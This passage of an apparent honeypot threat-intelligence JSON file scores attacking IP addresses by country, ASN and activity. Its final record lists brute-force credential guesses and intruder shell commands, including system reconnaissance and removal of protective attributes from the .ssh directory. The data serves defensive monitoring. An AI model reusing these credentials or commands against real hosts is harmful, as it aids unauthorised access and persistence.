        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.200.150.121": {
      "attack_count": 2,
      "first_seen": "2026-05-19T17:13:34.707Z",
      "last_seen": "2026-05-19T17:13:48.768Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Chilpancingo",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T17:13:34.707000+00:00",
        "last_seen_30d": "2026-05-19T17:14:50.318000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.252.205.223": {
      "attack_count": 2,
      "first_seen": "2026-05-17T02:29:33.972Z",
      "last_seen": "2026-05-17T02:29:47.190Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Ju\u00e1rez",
      "asn": 28512,
      "as_org": "Cablemas Telecomunicaciones SA de CV",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T02:29:33.972000+00:00",
        "last_seen_30d": "2026-05-17T02:30:55.281000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.128.6.176": {
      "attack_count": 2,
      "first_seen": "2026-05-31T13:24:33.302Z",
      "last_seen": "2026-05-31T13:24:47.139Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Pereira",
      "asn": 13489,
      "as_org": "UNE EPM TELECOMUNICACIONES S.A.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T13:24:33.302000+00:00",
        "last_seen_30d": "2026-05-31T13:26:53.379000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.140.19.82": {
      "attack_count": 2,
      "first_seen": "2026-05-03T02:26:50.622Z",
      "last_seen": "2026-05-03T02:27:05.111Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:26:50.622000+00:00",
        "last_seen_30d": "2026-05-03T02:29:08.296000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "193.163.187.74": {
      "attack_count": 2,
      "first_seen": "2026-05-31T16:34:02.149Z",
      "last_seen": "2026-05-31T16:34:15.727Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Albania",
      "country_code": "AL",
      "city": "Durr\u00ebs",
      "asn": 211356,
      "as_org": "MyTv-Alb SH.P.K.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T16:34:02.149000+00:00",
        "last_seen_30d": "2026-05-31T16:35:18.038000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "197.35.20.243": {
      "attack_count": 2,
      "first_seen": "2026-05-11T14:38:21.175Z",
      "last_seen": "2026-05-11T14:40:21.183Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Al Mansurah",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T14:38:21.175000+00:00",
        "last_seen_30d": "2026-05-11T14:51:10.185000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "198.235.24.101": {
      "attack_count": 2,
      "first_seen": "2026-05-03T20:22:31.583Z",
      "last_seen": "2026-05-03T20:22:41.453Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 69.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.9,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 26,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T22:16:28+00:00",
        "last_seen_30d": "2026-05-27T18:29:49.452000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 21,
        "Cowrie": 2,
        "H0neytr4p": 1
      }
    },
    "211.72.111.71": {
      "attack_count": 2,
      "first_seen": "2026-05-29T21:50:47.972Z",
      "last_seen": "2026-05-29T21:51:01.301Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T21:50:47.972000+00:00",
        "last_seen_30d": "2026-05-29T21:52:06.293000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "216.234.223.200": {
      "attack_count": 2,
      "first_seen": "2026-05-08T01:46:21.954Z",
      "last_seen": "2026-05-08T01:46:34.897Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Honduras",
      "country_code": "HN",
      "city": "Tegucigalpa",
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:46:21.954000+00:00",
        "last_seen_30d": "2026-05-08T01:47:45.075000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.18.78.96": {
      "attack_count": 2,
      "first_seen": "2026-05-23T06:38:51.576Z",
      "last_seen": "2026-05-23T06:39:50.694Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T06:38:51.576000+00:00",
        "last_seen_30d": "2026-05-23T06:40:56.964000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.42.184.162": {
      "attack_count": 2,
      "first_seen": "2026-05-09T15:51:14.613Z",
      "last_seen": "2026-05-09T15:51:46.252Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zhongshan",
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T15:51:14.613000+00:00",
        "last_seen_30d": "2026-05-09T15:52:51.404000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "31.215.80.165": {
      "attack_count": 2,
      "first_seen": "2026-05-19T13:12:14.225Z",
      "last_seen": "2026-05-19T13:12:27.425Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Abu Dhabi",
      "asn": 5384,
      "as_org": "Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T13:12:14.225000+00:00",
        "last_seen_30d": "2026-05-19T13:13:34.042000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.137.178.159": {
      "attack_count": 2,
      "first_seen": "2026-05-02T04:57:54.891Z",
      "last_seen": "2026-05-02T04:58:06.778Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Barquisimeto",
      "asn": 273155,
      "as_org": "DATANET VZLA 2021, C.A",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:57:54.891000+00:00",
        "last_seen_30d": "2026-05-02T04:59:14.216000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.17.158.105": {
      "attack_count": 2,
      "first_seen": "2026-05-08T15:53:23.598Z",
      "last_seen": "2026-05-08T15:53:35.952Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "La Guaira",
      "asn": 272122,
      "as_org": "TELECOMUNICACIONES G-NETWORK, C.A.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:53:23.598000+00:00",
        "last_seen_30d": "2026-05-08T15:54:39.711000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.252.48.19": {
      "attack_count": 2,
      "first_seen": "2026-05-06T00:57:17.872Z",
      "last_seen": "2026-05-06T00:57:30.957Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Libya",
      "country_code": "LY",
      "city": "Tripoli",
      "asn": 328539,
      "as_org": "Giga-Communication",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T00:57:17.872000+00:00",
        "last_seen_30d": "2026-05-06T00:58:36.822000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.186.220.191": {
      "attack_count": 2,
      "first_seen": "2026-05-17T06:59:56.491Z",
      "last_seen": "2026-05-17T07:00:27.731Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Aren\u00f3polis",
      "asn": 269437,
      "as_org": "PRADO TELECOM E SISTEMAS DE SEGURANCA ELETRONICA",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T06:59:56.491000+00:00",
        "last_seen_30d": "2026-05-17T07:01:36.672000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "49.251.137.156": {
      "attack_count": 2,
      "first_seen": "2026-05-17T00:04:26.223Z",
      "last_seen": "2026-05-17T00:04:58.557Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Sh\u014dwach\u014d",
      "asn": 9617,
      "as_org": "JCOM Co., Ltd.",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T00:04:26.223000+00:00",
        "last_seen_30d": "2026-05-17T00:06:08.538000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "5.129.182.12": {
      "attack_count": 2,
      "first_seen": "2026-05-16T00:14:53.129Z",
      "last_seen": "2026-05-16T00:15:06.383Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Barnaul",
      "asn": 60119,
      "as_org": "Ediniy Operator Svyazi LLC",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T00:14:53.129000+00:00",
        "last_seen_30d": "2026-05-16T00:16:08.433000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.142.129.93": {
      "attack_count": 2,
      "first_seen": "2026-05-02T07:22:16.500Z",
      "last_seen": "2026-05-02T07:22:48.587Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Kaliningrad",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T07:22:16.500000+00:00",
        "last_seen_30d": "2026-05-02T07:23:50.273000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "5.29.181.83": {
      "attack_count": 2,
      "first_seen": "2026-05-22T15:36:21.037Z",
      "last_seen": "2026-05-22T15:36:33.572Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Kfar Saba",
      "asn": 12849,
      "as_org": "Hot-Net internet services Ltd.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T15:36:21.037000+00:00",
        "last_seen_30d": "2026-05-22T15:37:37.098000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.47.120.202": {
      "attack_count": 2,
      "first_seen": "2026-05-15T11:36:14.402Z",
      "last_seen": "2026-05-15T11:36:27.519Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T11:36:14.402000+00:00",
        "last_seen_30d": "2026-05-15T11:37:31.353000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "62.16.41.154": {
      "attack_count": 2,
      "first_seen": "2026-05-23T14:24:52.861Z",
      "last_seen": "2026-05-23T14:26:52.878Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Perm",
      "asn": 15640,
      "as_org": "MTS PJSC",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T14:24:52.861000+00:00",
        "last_seen_30d": "2026-05-23T14:37:01.831000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "82.43.128.185": {
      "attack_count": 2,
      "first_seen": "2026-05-07T12:26:59.999Z",
      "last_seen": "2026-05-07T12:27:12.998Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Doncaster",
      "asn": 5089,
      "as_org": "Virgin Media",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T12:26:59.999000+00:00",
        "last_seen_30d": "2026-05-07T12:28:19.364000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "82.86.122.16": {
      "attack_count": 2,
      "first_seen": "2026-05-17T07:01:24.972Z",
      "last_seen": "2026-05-17T07:01:37.105Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Maracay",
      "asn": 267809,
      "as_org": "360NET C.A.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T07:01:24.972000+00:00",
        "last_seen_30d": "2026-05-17T07:02:47.346000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.217.149.33": {
      "attack_count": 2,
      "first_seen": "2026-05-17T21:17:50.036Z",
      "last_seen": "2026-05-17T21:18:19.648Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 95.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2671,
        "days_active_30d": 30,
        "ports_targeted_30d": 1291,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T00:28:49.815000+00:00",
        "last_seen_30d": "2026-05-31T00:26:04.352000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1553,
        "Honeytrap": 1115,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "85.64.196.239": {
      "attack_count": 2,
      "first_seen": "2026-05-24T18:36:05.806Z",
      "last_seen": "2026-05-24T18:36:18.142Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Tel Aviv",
      "asn": 1680,
      "as_org": "Cellcom Fixed Line Communication L.P",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T18:36:05.806000+00:00",
        "last_seen_30d": "2026-05-24T18:37:26.301000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "94.232.68.157": {
      "attack_count": 2,
      "first_seen": "2026-05-25T13:24:58.479Z",
      "last_seen": "2026-05-25T13:25:13.904Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 48128,
      "as_org": "Obyedinyonniye Lokalniye Seti Ltd.",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T13:24:58.479000+00:00",
        "last_seen_30d": "2026-05-25T13:26:22.607000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "109.207.155.110": {
      "attack_count": 550,
      "first_seen": "2026-05-15T11:41:00.572Z",
      "last_seen": "2026-05-15T12:19:40.435Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dbus-helper",
        "udev-monitor",
        "...",
        "linux",
        "pakchoi",
        "systemd-sync",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "123zxc",
        "21vianet",
        "314159",
        "Elephant123",
        "Kermit123@",
        "aapje123",
        "admin2010",
        "azsxdc",
        "blue",
        "huy",
        "imaging",
        "infern0",
        "jeremy",
        "lol_lol_L0L_12346!&^$%#@@_87568",
        "n4g10s",
        "running1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
